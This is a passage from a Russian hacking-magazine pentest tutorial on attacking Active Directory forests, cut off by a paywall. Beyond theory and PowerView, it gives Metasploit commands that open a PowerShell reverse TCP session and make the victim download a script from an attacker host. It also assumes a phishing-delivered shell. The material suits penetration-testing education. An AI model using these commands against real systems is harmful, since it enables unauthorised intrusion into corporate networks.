Active Directory — явление, довольно часто встречающееся при тестировании безопасности крупных компаний. Нередко попадается не одинокий домен в единственном лесу, а более ветвистая и более интересная структура. Поэтому сегодня мы поговорим о том, как проводить разведку, изучать структуру леса, рассмотрим возможности поднятия привилегий. А завершим полной компрометацией всего леса предприятия!

 

О чем на этот раз

Не секрет, что многие, если не большинство крупных компаний используют службу каталогов Active Directory от небезызвестной MS. Причина достаточно очевидна. Такой подход позволяет многие вещи автоматизировать, интегрировать все в одну слаженную структуру и облегчить жизнь как IT-отделу, так и всем сотрудникам.

Как правило, если организация довольно большая, то, развиваясь, она может приобретать другие (более мелкие) компании, устраивать слияния, расширения и прочие радости крупного бизнеса. Все это сказывается на структуре леса AD, который пополняется новыми деревьями и разрастается вширь и вглубь. Именно о такой разветвленной структуре мы и будем разговаривать. А начнем, по традиции, с небольшого теоретического введения.

 

В дремучих лесах AD

Бегло рассмотрим ключевые понятия Active Directory, которые постоянно будут использоваться в дальнейшем. Начнем от наименьшей структурной единицы AD — домена.

Доменом можно назвать логическую группу (пользователей, хостов, серверов и так далее), которые поддерживают централизованное администрирование.

Деревом называется набор доменов, которые используют общее пространство имен (по аналогии с обычным DNS). Важно, что дочерний домен автоматически получает двухсторонние доверительные отношения с родительским доменом.

Доверие — это своеобразное соглашение между двумя доменами, устанавливающее разрешения на доступ к тем или иным объектам или ресурсам.

Ну а лес, в свою очередь, является наиболее крупной структурой в Active Directory и объединяет все деревья. В результате все деревья в лесу обычно объединены двунаправленными доверительными отношениями, что позволяет пользователям в любом дереве получать доступ к ресурсам в любом другом, если они имеют соответствующие разрешения и права.

По умолчанию первый домен, создаваемый в лесу, автоматически становится его корневым доменом.

Завершив теоретический экскурс, можно переходить к практике, чем и займемся. При этом мы будем предполагать, что уже получен базовый доступ с небольшими пользовательскими привилегиями. Допустим, что социнженерия дала свои плоды и после отправки специально сформированного письма (например, с документом во вложении) кто-то открыл документ и мы получили шелл.

 

Проверяем боекомплект

Перед любыми боевыми действиями неплохо вначале осмотреть свой инструментарий и определиться, что будет использоваться. Для изучения Windows-окружения самый удобный инструмент на сегодняшний день — это PowerShell. Почему? Да потому, что он везде установлен (начиная с Windows 7/2008R2), позволяет работать и выполнять разнообразные командлеты рядовым пользователям и глубоко интегрирован в ОС.

Дефолтная политика, которая запрещает выполнение сторонних (неподписанных) PowerShell-скриптов, не является серьезной защитной мерой. Это просто защита от случайного запуска по двойному клику и очень легко обходится. По большому счету PowerShell — это целый фреймворк для постэксплуатации Windows. Естественно, по этой причине пентестеры уже несколько лет активно его используют, и написано множество различных модулей (скриптов), которые помогают автоматизировать те или иные действия.

Мы будем использовать лишь один такой модуль — PowerView, который входит в набор PowerTools. Изначально он создавался в рамках известного проекта Veil, но не так давно, после выхода впечатляющего фреймворка PowerShell Empire (который очень динамично развивается и требует отдельного рассмотрения), был перемещен и теперь является подпроектом PS Empire.

PowerView служит одновременно и заменой всех консольных net*-команд в Windows, и средством изучения AD. Отдельно стоит еще раз подчеркнуть, что большинство возможностей доступны с правами обычного пользователя.

 

Выдвигаемся на исходную

Напомню, что базовый доступ у нас уже есть, и для упрощения будем считать, что у нас есть шелл Meterpreter с правами рядового доменного пользователя. В этом году работа с PS в Метасплоите стала значительно удобнее, появилось несколько специализированных пейлоадов, чем и воспользуемся. Чтобы не потерять имеющуюся сессию, создадим новую, используя механизм payload_inject.

Для этого выполняем:

msf > use exploit/windows/local/payload_inject

В качестве полезной нагрузки, конечно же, выбираем powershell:

msf exploit(payload_inject) > set PAYLOAD windows/powershell_reverse_tcp

Теперь можно сразу указать модуль, который нужно импортировать в случае успешного запуска:

msf exploit(payload_inject) > set LOAD_MODULES http://10.54.0.181/powerview.ps1

Отмечу, что при желании можно даже указывать полный адрес до GitHub, в нашем случае PowerView будет скачиваться жертвой прямо с хоста атакующего.

Последним штрихом необходимо указать номер уже имеющейся сессии:

msf exploit(payload_inject) > set SESSION 1

Запускаем на выполнение (результат на рис. 1).

Рис. 1. PowerShell-сессия
Рис. 1. PowerShell-сессия
 

Ситуационная осведомленность

Теперь, когда у нас есть интерактивный PowerShell, можно внимательно изучить обстановку. Первым делом пригодятся две следующие команды:

Продолжение статьи доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все статьи на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи одну статью

Заинтересовала статья, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для статей, опубликованных более двух месяцев назад.


Комментарии

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

Как Apple обходит стандарты, заставляя тебя платить. Колонка Олега Афонина

Иногда сложные вещи начинаются с простых: планшет iPad Pro 10.5 вдруг перестал заряжаться …